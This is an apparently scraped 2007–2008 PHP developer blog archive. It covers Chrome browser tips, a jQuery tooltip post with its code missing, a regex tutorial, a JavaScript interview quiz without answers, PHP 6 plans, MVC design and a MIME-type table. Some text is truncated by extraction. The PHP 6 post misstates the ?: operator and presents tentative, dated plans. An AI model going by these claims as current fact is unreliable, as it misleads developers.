PHP Developers

2008-09-03T18:30:00.000-07:00

Now that you have Google Chrome installed on your desktop, let’s look at some of the unique features available only inside Google’s Web Browser that you’re seriously going to miss in other popular browsers like Internet Explorer, Firefox, Apple Safari or Opera.

1. Task Manager for Websites

While you are inside Google Chrome, press Shift+Escape and it will open up a ‘task manager’ with a list of all websites currently open inside Chrome.

This will give you an idea about how much physical memory is consumed by different websites and if any particular page is causing your system to crawl, you can do an "end process" to close that tab directly from Task Manager.

2. Visual Browser History

This is a feature Chrome borrowed from Google Desktop / Google Web History. Type Ctrl+H to open your browser history and search for a term.

In addition to matching pages, Google Chrome will also show you a small thumbnail image of that web pages in the history results. No need for any extensions.

3. Super Clean Contextual Menus

I simply love this. You right click an hyperlink on a web page and you get only five relevant options to deal with that link.

The number comes down to four when you right click any image in Chrome. There’s way too much clutter in Firefox menus.

4. Search Your Favorite Websites from the Address Bar

This is brilliant. If you visit a website that includes site search (for instance: search.labnol.org) - Chrome will automatically recognize and add that search engine for you so the next time you can perform a search on that site via the Chrome address bar itself.

To see this in action, open cnn.com or search.labnol.org in your Chrome browser and then type cnn.com followed by the tab key to search CNN. Simple.

5. See Memory Used by Different Browsers

Open a new tab inside Chrome browser and type "about:memory" (without quotes) - somewhere at the top, you’ll see a list of browser processes that are currently running on your system and the amount of memory they are using.

6. Reopen Website tabs that you closed by mistake

Firefox 3 has this "Undo Closed Tab" option in the menu while you can open closed tabs in Opera via the Ctrl+Z shortcut.

To re-open a closed tab in Google Chrome, just hit Ctrl+T and you’ll see an option that says "Recently closed tabs" - click the one you closed by accident.

7. Launch Websites from the Start Menu / Quick Launch Bar

Desktop shortcuts for web pages are possible with other browsers as well but Google Chrome make the whole flow very easy. Open any site and choose "Create application shortcut" from the File menu.

This will essentially create a desktop shortcut that looks something like this:

C:\Users\labnol\AppData\Local\Google\Chrome\Application\chrome.exe
   --app=http://www.labnol.org/

Clicking the shortcut will launch that web page in a new instance of Chrome that may not contain have any more new tabs.

Chrome lets you move tabs around different windows but I didn’t find this feature very useful. I like the Firefox approach better where you can drag tabs onto the desktop and turn them into web shortcuts.

Overall, I am pretty impressed with Chrome but did miss support for extensions especially Customize Google. But Chrome may be a good thing if you are web publisher as it has no adblock plus - good for Google as well.

Tooltip And Image Preview Using JQuery

2008-09-03T18:10:00.000-07:00

I love jQuery and the way it makes developer's life easier. Although it took me a while to accept it and I still prefer to write my own stuff, I can't deny its advantages. Recently I had a project that demanded a rollover image preview. You know, one of those tooltip-like bubble popups that appears when you roll over link or a thumbnail. Since we were already using jQuery on that project I decided to take it easy and investigate what can be done with that extraordinary library. So I came up with a script so simple it hurts! The best thing yet is that it can be applied for a variety of purposes. Today I will show you 3 examples of using the same very, very simple script.

Download all 3 tricks in a bundle

Features and Principle

What this script does is adds an element to the body when you roll over a certain object. That element's appearance is predefined with css (positioned absolute and styled) so all we need to do is fill the element with content, calculate mouse position and make it move accordingly. When cursor is moved over he object, element moves with it and when cursor roll out, the element is deleted.

Here are couple of examples where you can see this script in action.

Example 1: The Simplest jQuery Tooltip Ever

The script takes a title attribute of an A tag and place it inside the popup element.
Html looks like this:

Roll over for tooltip

View this script in action

Example 2: Image Preview Gallery

Here we have a bunch of thumbnails. When each thumbnail is rolled over, script will load an image that we have linked in HREF attribute of an A tag. That makes this method accessible as well, because user can still access the target image even with disabled JavaScript.
Html:

or if you want to use caption add a title attribute:

Roll over to preview

View this script in action

Example 3: Links With URL Preview

This demands a bit more effort but it might be worth it as an extra feature to add to your sites. What you'll need here is a small size screenshot of the target url. You'll put screenshot image location in in REL attribute of the A tag and script will do the rest.
Like so:

Css Globe

again, if you wish to use caption add a title attribute:

Css Globe

View this script in action

Download all 3 tricks in a bundle

Regular Expression Tutorial, Learn How to Use and Get The Most out of Regular Expressions

2007-10-02T20:02:00.000-07:00

In this tutorial, I will teach you all you need to know to be able to craft powerful time-saving regular expressions. I will start with the most basic concepts, so that you can follow this tutorial even if you know nothing at all about regular expressions yet.

But I will not stop there. I will also explain how a regular expression engine works on the inside, and alert you at the consequences. This will help you to understand quickly why a particular regex does not do what you initially expected. It will save you lots of guesswork and head scratching when you need to write more complex regexes.

What Regular Expressions Are Exactly - Terminology

Basically, a regular expression is a pattern describing a certain amount of text. Their name comes from the mathematical theory on which they are based. But we will not dig into that. Since most people including myself are lazy to type, you will usually find the name abbreviated to regex or regexp. I prefer regex, because it is easy to pronounce the plural "regexes".

On this website, regular expressions are printed as regex. If your browser has proper support for cascading style sheets, the regex should be highlighted in red.

This first example is actually a perfectly valid regex. It is the most basic pattern, simply matching the literal text regex. A "match" is the piece of text, or sequence of bytes or characters that pattern was found to correspond to by the regex processing software. Matches are highlighted in blue on this site.

\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b is a more complex pattern. It describes a series of letters, digits, dots, underscores, percentage signs and hyphens, followed by an at sign, followed by another series of letters, digits and hyphens, finally followed by a single dot and between two and four letters. In other words: this pattern describes an email address.

With the above regular expression pattern, you can search through a text file to find email addresses, or verify if a given string looks like an email address. In this tutorial, I will use the term "string" to indicate the text that I am applying the regular expression to.

I will highlight them in green.
The term "string" or "character string" is used by programmers to indicate a sequence of characters. In practice, you can use regular expressions with whatever data you can access using the application or programming language you are working with.

Different Regular Expression Engines

A regular expression "engine" is a piece of software that can process regular expressions, trying to match the pattern to the given string. Usually, the engine is part of a larger application and you do not access the engine directly. Rather, the application will invoke it for you when needed, making sure the right regular expression is applied to the right file or data.

As usual in the software world, different regular expression engines are not fully compatible with each other. It is not possible to describe every kind of engine and regular expression syntax (or "flavor") in this tutorial. I will focus on the regex flavor used by Perl 5, for the simple reason that this regex flavor is the most popular one, and deservedly so. Many more recent regex engines are very similar, but not identical, to the one of Perl 5. Examples are the open source PCRE engine (used in many tools and languages like PHP), the .NET regular expression library, and the regular expression package included with version 1.4 and later of the Java JDK. I will point out to you whenever differences in regex flavors are important, and which features are specific to the Perl-derivatives mentioned above.

Give Regexes a First Try

You can easily try the following yourself in a text editor that supports regular expressions, such as EditPad Pro. If you do not have such an editor, you can download the free evaluation version of EditPad Pro to try this out. EditPad Pro's regex engine is fully functional in the demo version. As a quick test, copy and paste the text of this page into EditPad Pro. Then select Search|Show Search Panel from the menu. In the search pane that appears near the bottom, type in regex in the box labeled "Search Text". Mark the "Regular expression" checkbox, and click the Find First button. This is the leftmost button on the search panel. See how EditPad Pro's regex engine finds the first match. Click the Find Next button, which sits next to the Find First button, to find further matches. When there are no further matches, the Find Next button's icon will flash briefly.

Now try to search using the regex reg(ular expressions?|ex(p|es)?). This regex will find all names, singular and plural, I have used on this page to say "regex". If we only had plain text search, we would have needed 5 searches. With regexes, we need just one search. Regexes save you time when using a tool like EditPad Pro. Select Count Matches in the Search menu to see how many times this regular expression can match the file you have open in EditPad Pro.

If you are a programmer, your software will run faster since even a simple regex engine applying the above regex once will outperform a state of the art plain text search algorithm searching through the data five times. Regular expressions also reduce development time. With a regex engine, it takes only one line (e.g. in Perl, PHP, Java or .NET) or a couple of lines (e.g. in C using PCRE) of code to, say, check if the user's input looks like a valid email address.

Php, JavaScript & AJAX interview questions

2007-09-28T19:35:00.000-07:00

1. Why so JavaScript and Java have similar name?

A. JavaScript is a stripped-down version of Java

B. JavaScript's syntax is loosely based on Java's

C. They both originated on the island of Java

D. None of the above

2. When a user views a page containing a JavaScript program, which machine actually executes the script?

A. The User's machine running a Web browser

B. The Web server

C. A central machine deep within Netscape's corporate offices

D. None of the above

3. ______ JavaScript is also called client-side JavaScript.

A. Microsoft

B. Navigator

C. LiveWire

D. Native

4. __________ JavaScript is also called server-side JavaScript.

A. Microsoft

B. Navigator

C. LiveWire

D. Native

5. What are variables used for in JavaScript Programs?

A. Storing numbers, dates, or other values

B. Varying randomly

C. Causing high-school algebra flashbacks

D. None of the above

6. _____ JavaScript statements embedded in an HTML page can respond to user events such as mouse-clicks, form input, and page navigation.

A. Client-side

B. Server-side

C. Local

D. Native

7. What should appear at the very end of your JavaScript?

The <script LANGUAGE="JavaScript">tag

A. The </script>

B. The <script>

C. The END statement

D. None of the above

8. Which of the following can't be done with client-side JavaScript?

A. Validating a form

B. Sending a form's contents by email

C. Storing the form's contents to a database file on the server

D. None of the above

9. Which of the following are capabilities of functions in JavaScript?

A. Return a value

B. Accept parameters and Return a value

C. Accept parameters

D. None of the above

110. Which of the following is not a valid JavaScript variable name?

A. 2names

B. _first_and_last_names

C. FirstAndLast

D. None of the above

111. ______ tag is an extension to HTML that can enclose any number of JavaScript statements.

A. <SCRIPT>

B. <BODY>

C. <HEAD>

D. <TITLE>

112. How does JavaScript store dates in a date object?

A. The number of milliseconds since January 1st, 1970

B. The number of days since January 1st, 1900

C. The number of seconds since Netscape's public stock offering.

D. None of the above

13. Which of the following attribute can hold the JavaScript version?

A. LANGUAGE

B. SCRIPT

C. VERSION

D. None of the above

14. What is the correct JavaScript syntax to write "Hello World"?

A. System.out.println("Hello World")

B. println ("Hello World")

C. document.write("Hello World")

D. response.write("Hello World")

15. Which of the following way can be used to indicate the LANGUAGE attribute?

A. <LANGUAGE="JavaScriptVersion">

B. <SCRIPT LANGUAGE="JavaScriptVersion">

C. <SCRIPT LANGUAGE="JavaScriptVersion"> JavaScript statements…</SCRIPT>

D. <SCRIPT LANGUAGE="JavaScriptVersion"!> JavaScript statements…</SCRIPT>

16. Inside which HTML element do we put the JavaScript?

A. <js>

B. <scripting>

C. <script>

D. <javascript>

17. What is the correct syntax for referring to an external script called " abc.js"?

A. <script href=" abc.js">

B. <script name=" abc.js">

C. <script src=" abc.js">

D. None of the above

18. Which types of image maps can be used with JavaScript?

A. Server-side image maps

B. Client-side image maps

C. Server-side image maps and Client-side image maps

D. None of the above

19. Which of the following navigator object properties is the same in both Netscape and IE?

A. navigator.appCodeName

B. navigator.appName

C. navigator.appVersion

D. None of the above

20. Which is the correct way to write a JavaScript array?

A. var txt = new Array(1:"tim",2:"kim",3:"jim")

B. var txt = new Array:1=("tim")2=("kim")3=("jim")

C. var txt = new Array("tim","kim","jim")

D. var txt = new Array="tim","kim","jim"

21. What does the <noscript> tag do?

A. Enclose text to be displayed by non-JavaScript browsers.

B. Prevents scripts on the page from executing.

C. Describes certain low-budget movies.

D. None of the above

22. If para1 is the DOM object for a paragraph, what is the correct syntax to change the text within the paragraph?

A. "New Text"?

B. para1.value="New Text";

C. para1.firstChild.nodeValue= "New Text";

D. para1.nodeValue="New Text";

23. JavaScript entities start with _______ and end with _________.

A. Semicolon, colon

B. Semicolon, Ampersand

C. Ampersand, colon

D. Ampersand, semicolon

24. Which of the following best describes JavaScript?

A. a low-level programming language.

B. a scripting language precompiled in the browser.

C. a compiled scripting language.

D. an object-oriented scripting language.

25. Choose the server-side JavaScript object?

A. FileUpLoad

B. Function

C. File

D. Date

26. Choose the client-side JavaScript object?

A. Database

B. Cursor

C. Client

D. FileUpLoad

27. Which of the following is not considered a JavaScript operator?

A. new

B. this

C. delete

D. typeof

28. ______method evaluates a string of JavaScript code in the context of the specified object.

A. Eval

B. ParseInt

C. ParseFloat

D. Efloat

29. Which of the following event fires when the form element loses the focus: <button>, <input>, <label>, <select>, <textarea>?

A. onfocus

B. onblur

C. onclick

D. ondblclick

30. The syntax of Eval is ________________

A. [objectName.]eval(numeric)

B. [objectName.]eval(string)

C. [EvalName.]eval(string)

D. [EvalName.]eval(numeric)

31. JavaScript is interpreted by _________

A. Client

B. Server

C. Object

D. None of the above

32. Using _______ statement is how you test for a specific condition.

A. Select

B. If

C. Switch

D. For

33. Which of the following is the structure of an if statement?

A. if (conditional expression is true) thenexecute this codeend if

B. if (conditional expression is true)execute this codeend if

C. if (conditional expression is true) {then execute this code>->}

D. if (conditional expression is true) then {execute this code}

34. How to create a Date object in JavaScript?

A. dateObjectName = new Date([parameters])

B. dateObjectName.new Date([parameters])

C. dateObjectName := new Date([parameters])

D. dateObjectName Date([parameters])

35. The _______ method of an Array object adds and/or removes elements from an array.

A. Reverse

B. Shift

C. Slice

D. Splice

36. To set up the window to capture all Click events, we use which of the following statement?

A. window.captureEvents(Event.CLICK);

B. window.handleEvents (Event.CLICK);

C. window.routeEvents(Event.CLICK );

D. window.raiseEvents(Event.CLICK );

37. Which tag(s) can handle mouse events in Netscape?

A. <IMG>

B. <A>

C. <BR>

D. None of the above

38. ____________ is the tainted property of a window object.

A. Pathname

B. Protocol

C. Defaultstatus

D. Host

39. To enable data tainting, the end user sets the _________ environment variable.

A. ENABLE_TAINT

B. MS_ENABLE_TAINT

C. NS_ENABLE_TAINT

D. ENABLE_TAINT_NS

40. In JavaScript, _________ is an object of the target language data type that encloses an object of the source language.

A. a wrapper

B. a link

C. a cursor

D. a form

41. When a JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type ___________

A. ScriptObject

B. JSObject

C. JavaObject

D. Jobject

42. _______ class provides an interface for invoking JavaScript methods and examining JavaScript properties.

A. ScriptObject

B. JSObject

C. JavaObject

D. Jobject

43. _________ is a wrapped Java array, accessed from within JavaScript code.

A. JavaArray

B. JavaClass

C. JavaObject

D. JavaPackage

44. A ________ object is a reference to one of the classes in a Java package, such as netscape.javascript .

A. JavaArray

B. JavaClass

C. JavaObject

D. JavaPackage

45. The JavaScript exception is available to the Java code as an instance of __________

A. netscape.javascript.JSObject

B. netscape.javascript.JSException

C. netscape.plugin.JSException

D. None of the above

46. To automatically open the console when a JavaScript error occurs which of the following is added to prefs.js?

A. user_pref(" javascript.console.open_on_error", false);

B. user_pref("javascript.console.open_error ", true);

C. user_pref("javascript.console.open_error ", false);

D. user_pref("javascript.console.open_on_error", true);

47. To open a dialog box each time an error occurs, which of the following is added to prefs.js?

A. user_pref("javascript.classic.error_alerts", true);

B. user_pref("javascript.classic.error_alerts ", false);

C. user_pref("javascript.console.open_on_error ", true);

D. user_pref("javascript.console.open_on_error ", false);

48. The syntax of a blur method in a button object is ______________

A. Blur()

B. Blur(contrast)

C. Blur(value)

D. Blur(depth)

49. The syntax of capture events method for document object is ______________

A. captureEvents()

B. captureEvents(args eventType)

C. captureEvents(eventType)

D. captureEvents(eventVal)

50. The syntax of close method for document object is ______________

A. Close(doc)

B. Close(object)

C. Close(val)

D. Close()

Introduce the PHP 6

2007-08-29T20:19:00.000-07:00

As you may be aware the core PHP group of developers all met in Paris on November the 11th and 12th 2005. The minutes from the meeting are fascinating reading, but there is a lot to go through. So I've gone through all of the points raised and chewed them over from a developers point of view. Your comments as always are welcome.

Before I get started however I'd just like to make one thing very clear: what you read here (or in the original minutes) are in no way the 'fully 100% decided' end results / changes that we'll see in PHP6. They will most likely all be discussed further (on internals and wider), but even so we can take the information presented in the minutes as being the PHP teams most 'current' way of thinking about any given subject.

Unicode

Unicode support at present can be set on a per request basis. This equates to PHP having to store both Unicode and non-Unicode variants of class, method and function names in the symbol tables. In short - it uses up more resources. Their decision is to make the Unicode setting server wide, not request wide. Turning Unicode off where not required can help performance and they quote some string functions as being up to 300% slower and whole applications 25% slower as a result. The decision to move it to the php.ini in my mind does take the control away from the user, and puts it into the hands of the Web Host.

If you compile PHP yourself or are responsible for this on your servers then you may be interested to know that PHP 6 will require the ICU libs (regardless if Unicode is turned on or off). The build system will bail out if the required ICU libs cannot be found. In a nutshell, you'll have another thing to install if you want to compile PHP.

Register Globals to go

Say goodbye folks, this one is finally going. It will no longer be an ini file setting, and if found it will raise an E_CORE_ERROR, pointing you to the documentation on why it's "bad". This means that PHP6 will finally break all PHP3 era scripts (or any script using reg globals) with no recourse at all but to re-code it. That's a bold move, but a needed one.

Magic Quotes to go

The magic quotes feature of PHP will be going, and as with register globals it's going to raise an E_CORE_ERROR if the setting is found anywhere. This will affect magic_quotes, magic_quotes_sybase and magic_quotes_gpc.

Safe Mode to go

This may please developers who have web hosts that insist upon safe mode! But it will now go totally, again raising an E_CORE_ERROR if found. The reason is that apparently they felt it gave the 'wrong signal', implying that it made PHP secure, when infact it didn't at all. open_basedir will (thankfully) be kept.

'var' to alias 'public'

PHP4 used 'var' within classes. PHP5 (in its OO move) caused this to raise a warning under E_STRICT. This warning will be removed in PHP6 and instead 'var' will mean the same thing as 'public'. This is a nice move but I if anyone has updated their scripts to work under E_STRICT in PHP5 it will be a redundant one for them.

Return by Reference will error

Both '$foo =& new StdClass()' and 'function &foo' will now raise an E_STRICT error.

zend.ze1 compatbility mode to go

ze1 always tried to retain old PHP4 behaviour, but apparently it "doesn't work 100%" anyway, so it will be removed totally and throw an E_CORE_ERROR if detected.

Freetype 1 and GD 1 support to go

Support for both of these (very very old) libs will be removed.

dl() moves to SAPI only

Each SAPI will register the use of this function as required, only the CLI and embed SAPIs will do this from now on. It will not be available elsewhere.

FastCGI always on

The FastCGI code will be cleaned up and always enabled for the CGI SAPI, it will not be able to be disabled.

Register Long Arrays to go

Remember the HTTP_*_VARS globals from yesteryear? Well if you're not already using $_GET, $_POST, etc - start doing so now, because the option to enable long arrays is going (and will throw an E_CORE_ERROR).

Extension Movements

The XMLReader and XMLWriter extensions will move into the core distribution and will be on by default.

The ereg extension will move to PECL (and thus be removed from PHP). This means that PCRE will not be allowed to be disabled. This will make way for the new regular expression extension based on ICU.

The extremely useful Fileinfo exntesion will move into the core distribution and enabled by default.

PHP Engine Additions

64 bit integers
A new 64 bit integer will be added (int64). There will be no int32 (it is assumed unless you specify int64)

Goto
No 'goto' command will be added, but the break keyword will be extended with a static label - so you could do 'break foo' and it'll jump to the label foo: in your code.

ifsetor()
It looks like we won't be seeing this one, which is a shame. But instead the ?: operator will have the 'middle parameter' requirement dropped, which means you'd be able to do something like this: "$foo = $_GET['foo'] ?: 42;" (i.e. if foo is true, $foo will equal 42). This should save some code, but I personally don't think it is as 'readable' as ifsetor would have been.

foreach multi-dim arrays
This is a nice change - you'll be able to foreach through array lists, i.e. "foreach( $a as $k => list($a, $b))".

{} vs []
You can currently use both {} and [] to access string indexes. But the {} notation will raise an E_STRICT in PHP5.1 and will be gone totally in PHP6. Also the [] version will gain substr and array_slice functionality directly - so you could do "[2,]" to access characters 2 to the end, etc. Very handy.

OO changes

Static Binding
A new keyword will be created to allow for late static binding - static::static2(), this will perform runtime evaluation of statics.

Namespaces
It looks like this one is still undecided - if they do implement namespaces it will be using their style only. My advice? Don't hold your breath!

Type-hinted Return Values
Although they decided against allowing type-hinted properties (becaue it's "not the PHP way") they will add support for type-hinted return values, but have yet to decide on a syntax for this. Even so, it will be a nice addition.

Calling dynamic functions as static will E_FATAL
At the moment you can call both static and dynamic methods, whether they are static or not. Calling a dynamic function with the static call syntax will raise an E_FATAL.

Additions to PHP

APC to be in the core distribution
The opcode cache APC will be included in the core distribution of PHP as standard, it will not however be turned on by default (but having it there saves the compilation of yet another thing on your server, and web hosts are more likely to allow it to be enabled)

Hardened PHP patch
This patch implements a bunch of extra security checks in PHP. They went over it and the following changes will now take place within PHP: Protection against HTTP Response Splitting will be included. allow_url_fopen will be split into two: allow_url_fopen and allow_url_include. allow_url_fopen will be enabled by default. allow_url_include will be disabled by default.

E_STRICT merges into E_ALL
Wow, this is quite a serious one! E_STRICT level messages will be added to E_ALL by default. This shows a marked move by the PHP team to educate developers on 'best practises' and displaying language-level warnings in a "Hey, you're doing it the wrong way".

Farewell
They will remove support for the ASP style tags, but the PHP short-code tag will remain (

Conclusion

PHP6 is taking an interesting move in my mind - it's as if the PHP developers want to now educate developers about the right way to code something, and remove those lingering issues with "Well you SHOULD be doing it this way, but you can still do it the old way". This will not be the case any longer. Removing totally the likes of register globals, magic quotes, long arrays, {} string indexes and call-time-pass-by-references will force developers to clean up their code.

It will also break a crapload of scripts beyond repair that doesn't involve some serious re-writing. Is this a bad thing? I don't think so myself, but I see it making the adoption of PHP6 even slower than that of PHP5, which is a real shame. However they have to leap this hurdle at some point, and once they've done it progression to future versions should be swifter.

Model View Controller

2007-08-29T20:02:00.000-07:00

The Model View Controller pattern is popular for organizing Web applications. Yet, there is quite a bit of confusion surrounding MVC. What exactly is it? Whatever it is, it must be good. Like object orientation, MVC seems to have earned a halo. It has a reputation for being a good design practice. Therefore, in a strange twist of logic, anyone who creates a good design must be using MVC, right? Much like good practices that have nothing to do with objects are lumped under that general term, good practices that have little to do with MVC are lumped under that term. A precise definition of MVC is probably impossible.

That said, we do have an historical record to fall back on. MVC was introduced as a graphical user interface organizational principle in Smalltalk in the mid-70s. A later paper, “Applications Programming in Smalltalk-80: How to use Model-View-Controller MVC,” describes the Smalltalk implementation. From this and other papers dating from the early Smalltalk years, we can gain insight into the original intent of the MVC pattern.
The original intent of the MVC pattern was to structure an application with a user interface in order to make certain kinds of changes easier. As I discussed in my first column, “Organizing for Change”, it can be a good idea to segregate different kinds of code in an application, based on the changes that one is likely to make for programs with user interfaces, it is generally considered a good idea to separate the user interface related code from the domain-related code. This is because those kinds of code tend to change for different reasons and at different times. Separating the two allows the programmer to make a change in one without having to touch the other.

Separating the user interface from the domain logic also allows one implementation to be swapped with another. Different views and controllers can be substituted to provide alternate user interfaces for the same model. For example, the same model data can be displayed as a bar graph, or a pie chart, or a spreadsheet. But wait! The Model View Controller pattern has three segments. To separate the user interface from the do-main logic, it would seem that only two would be needed. Why three? This goes back to the original metaphor upon which MVC is based. Conceptually, MVC is intended to replicate an abstract data processing model. In that model, data is fed into a computer as input. A processor uses that data to perform some task. Then some kind of output is produced. Notice that there are three stages in that process. These three stages correspond to the model, view, and controller segmentation of the MVC pattern. Perhaps the most obvious correspondence is the view. This is obviously the output portion of the program. Working back from the end of the process, the model segment of the program corresponds to the processing component. Unfortunately, when may people think of the word ’model’, they think of data, nouns and structure. In MVC, ’model’ corresponds to ’processor’. You should also think in terms of verbs when you think of the model. The model is where the stuff gets done that the program is designed to do. The remaining segment, and the one that seems most confusing, is the controller. The controller corresponds to the input phase of our data processing abstraction. It receives input and translates that input to requests on the model or the view. Why is the controller so confusing? Well, if your model is verb shy, you have to put the behavioral aspect of your domain logic somewhere. Often people will separate out the view or output logic, separate out the data storage logic, and then consider that anything else left must be the controller, right? Well, no. You see, while MVC is a way of separating the user interface from the domain logic, not every way of achieving this separation is MVC. Not every method of structuring a user interface is MVC. In Smalltalk MVC, the idea of having a separate controller layer for input allows an input method to be changed without changing either the view or the model. For example, in a spreadsheet program, a different controller would handle mouse input or handle keyboard input, but the model and view objects would be the same. Fair enough, but how many times in a Web application do you want to swap out input methods without also changing the corresponding output? There is a strong coupling between the input and output methods of a program. It can be hard to change one without changing the other. Another common UI organization pattern is called Document/View. Document/View collapses the input and output layers of MVC into a single view layer. Document/View is a good way of separating your user interface from domain logic, but it is not MVC. We pay a price for dividing our applications into three Parts.

The Model

The model encapsulates the functional core of an application, its domain logic. The goal of MVC is to make the model independent of the view and controller, which together form the user interface of the application. A model could conceivably be used with multiple different view-controller interface pairings. Since the model must be independent, it cannot refer to either the view or controller portions of the application. The model may not hold direct instance variables that refer to the view or the controller. It passively supplies its services and data to the other layers of the application. In fact, there is a variation on the model layer typically used with Web applications, called a passive model. With a passive model, the objects used in the model are completely unaware of being used in the MVC triad. The controller notifies the view when it executes an operation on the model that will require the view to be updated. In another version more traditional to MVC, the active model, model classes define a change notification mechanism, typically using the Observer pattern. This allows unrelated view and controller components to be notified when the model has changed. Since these components register themselves with the model, and the model has no knowledge of any specific view or controller, this does not break the independence of the model. This notification mechanism is behind the immediate updating that is the hallmark of a MVC GUI application. The passive model is commonly used in Web MVC. The strict request/response cycle of HTTP does not require the immediacy of an active model. The view is always rendered anew on every cycle, regardless of changes. This may be especially true in PHP, where no state is retained between requests.

The View

The view obtains data from the model and presents it to the user. It represents the output of the application. The view can be implemented using a variety of techniques, including templates, or a transformative method like XSL. One major misconception I see in beginner questions about MVC is that the view must somehow remain separate from the model. This line of thinking causes frustration with MVC. Programmers end up creating controllers that shuffle data from the model into the view. This is unnecessary. The view usually has a direct dependency on the model. If you change the model, you must also change the view. Because the view depends on the model, the view can generally have free access to the model. Well, almost free access. Views are read-only representations of the state of the model. They should not attempt to modify the model; this would be a violation of the MVC separation. Attempting to modify the model in the view would indicate a mixing of controller code into the view layer. A far more common and insidious violation of separations occurs when domain model code leaks into the view. For example, consider the requirement “Show negative balances in red.” At first glance, this appears to be strictly an output requirement and a test might be placed into the view in roughly this form: if balance <>

Can you spot the violation of separations? Upon further analysis, it turns out that the real requirement is “show overdrawn balances in red.” The definition of overdrawn, here balance <>, belongs in the domain model, not in the view. In this way, changes to the definition of ’overdrawn’ can be made independently of decisions about how to display the status of being overdrawn.

The Controller

The controller receives and translates input to requests on the model or view. Controllers are typically responsible for calling methods on the model that change the state of the model. In an active model, this state change is then reflected in the view via the change propagation mechanism. A passive model shifts more responsibility into the controller, as the controller must notify the views when they should update. In traditional Smalltalk MVC, views and controllers are tightly coupled. Each view instance is associated with a single unique controller instance, and vice versa. The controller is considered a strategy that the view uses for input. The view is also responsible for creating new views and controllers. Modern Web usage of MVC shifts even more of the traditional responsibilities of the view to the controller. The controller becomes responsible for creating and selecting views, and the view tends to lose responsibility for its controller. Sometimes, responsibility for creating and selecting views is delegated to a specific object; this is known as the Application Controller pattern for Web MVC, or the View Handler pattern for GUI MVC. You can see that, as with the view, the controller also has a direct dependency on the model. Changes to the model layer will often trigger corresponding changes in the controller layer. Of course, the reverse should not be true. Unfortunately, as with the view, it is easy for domain logic to leak out of the domain layer and into the controller. This is especially true when the domain model is considered to be passive, verb-deprived data. This is a big challenge for modern MVC frameworks for the Web. The controller can be an inviting place for quick and dirty unstructured code.

Mime Types

2007-08-16T20:35:00.000-07:00

MIME Types By Content Type

Type/sub-type	Extension
application/envoy	evy
application/fractals	fif
application/futuresplash	spl
application/hta	hta
application/internet-property-stream	acx
application/mac-binhex40	hqx
application/msword	doc
application/msword	dot
application/octet-stream	*
application/octet-stream	bin
application/octet-stream	class
application/octet-stream	dms
application/octet-stream	exe
application/octet-stream	lha
application/octet-stream	lzh
application/oda	oda
application/olescript	axs
application/pdf	pdf
application/pics-rules	prf
application/pkcs10	p10
application/pkix-crl	crl
application/postscript	ai
application/postscript	eps
application/postscript	ps
application/rtf	rtf
application/set-payment-initiation	setpay
application/set-registration-initiation	setreg
application/vnd.ms-excel	xla
application/vnd.ms-excel	xlc
application/vnd.ms-excel	xlm
application/vnd.ms-excel	xls
application/vnd.ms-excel	xlt
application/vnd.ms-excel	xlw
application/vnd.ms-outlook	msg
application/vnd.ms-pkicertstore	sst
application/vnd.ms-pkiseccat	cat
application/vnd.ms-pkistl	stl
application/vnd.ms-powerpoint	pot
application/vnd.ms-powerpoint	pps
application/vnd.ms-powerpoint	ppt
application/vnd.ms-project	mpp
application/vnd.ms-works	wcm
application/vnd.ms-works	wdb
application/vnd.ms-works	wks
application/vnd.ms-works	wps
application/winhlp	hlp
application/x-bcpio	bcpio
application/x-cdf	cdf
application/x-compress	z
application/x-compressed	tgz
application/x-cpio	cpio
application/x-csh	csh
application/x-director	dcr
application/x-director	dir
application/x-director	dxr
application/x-dvi	dvi
application/x-gtar	gtar
application/x-gzip	gz
application/x-hdf	hdf
application/x-internet-signup	ins
application/x-internet-signup	isp
application/x-iphone	iii
application/x-javascript	js
application/x-latex	latex
application/x-msaccess	mdb
application/x-mscardfile	crd
application/x-msclip	clp
application/x-msdownload	dll
application/x-msmediaview	m13
application/x-msmediaview	m14
application/x-msmediaview	mvb
application/x-msmetafile	wmf
application/x-msmoney	mny
application/x-mspublisher	pub
application/x-msschedule	scd
application/x-msterminal	trm
application/x-mswrite	wri
application/x-netcdf	cdf
application/x-netcdf	nc
application/x-perfmon	pma
application/x-perfmon	pmc
application/x-perfmon	pml
application/x-perfmon	pmr
application/x-perfmon	pmw
application/x-pkcs12	p12
application/x-pkcs12	pfx
application/x-pkcs7-certificates	p7b
application/x-pkcs7-certificates	spc
application/x-pkcs7-certreqresp	p7r
application/x-pkcs7-mime	p7c
application/x-pkcs7-mime	p7m
application/x-pkcs7-signature	p7s
application/x-sh	sh
application/x-shar	shar
application/x-shockwave-flash	swf
application/x-stuffit	sit
application/x-sv4cpio	sv4cpio
application/x-sv4crc	sv4crc
application/x-tar	tar
application/x-tcl	tcl
application/x-tex	tex
application/x-texinfo	texi
application/x-texinfo	texinfo
application/x-troff	roff
application/x-troff	t
application/x-troff	tr
application/x-troff-man	man
application/x-troff-me	me
application/x-troff-ms	ms
application/x-ustar	ustar
application/x-wais-source	src
application/x-x509-ca-cert	cer
application/x-x509-ca-cert	crt
application/x-x509-ca-cert	der
application/ynd.ms-pkipko	pko
application/zip	zip
audio/basic	au
audio/basic	snd
audio/mid	mid
audio/mid	rmi
audio/mpeg	mp3
audio/x-aiff	aif
audio/x-aiff	aifc
audio/x-aiff	aiff
audio/x-mpegurl	m3u
audio/x-pn-realaudio	ra
audio/x-pn-realaudio	ram
audio/x-wav	wav
image/bmp	bmp
image/cis-cod	cod
image/gif	gif
image/ief	ief
image/jpeg	jpe
image/jpeg	jpeg
image/jpeg	jpg
image/pipeg	jfif
image/svg+xml	svg
image/tiff	tif
image/tiff	tiff
image/x-cmu-raster	ras
image/x-cmx	cmx
image/x-icon	ico
image/x-portable-anymap	pnm
image/x-portable-bitmap	pbm
image/x-portable-graymap	pgm
image/x-portable-pixmap	ppm
image/x-rgb	rgb
image/x-xbitmap	xbm
image/x-xpixmap	xpm
image/x-xwindowdump	xwd
message/rfc822	mht
message/rfc822	mhtml
message/rfc822	nws
text/css	css
text/h323	323
text/html	htm
text/html	html
text/html	stm
text/iuls	uls
text/plain	bas
text/plain	c
text/plain	h
text/plain	txt
text/richtext	rtx
text/scriptlet	sct
text/tab-separated-values	tsv
text/webviewhtml	htt
text/x-component	htc
text/x-setext	etx
text/x-vcard	vcf
video/mpeg	mp2
video/mpeg	mpa
video/mpeg	mpe
video/mpeg	mpeg
video/mpeg	mpg
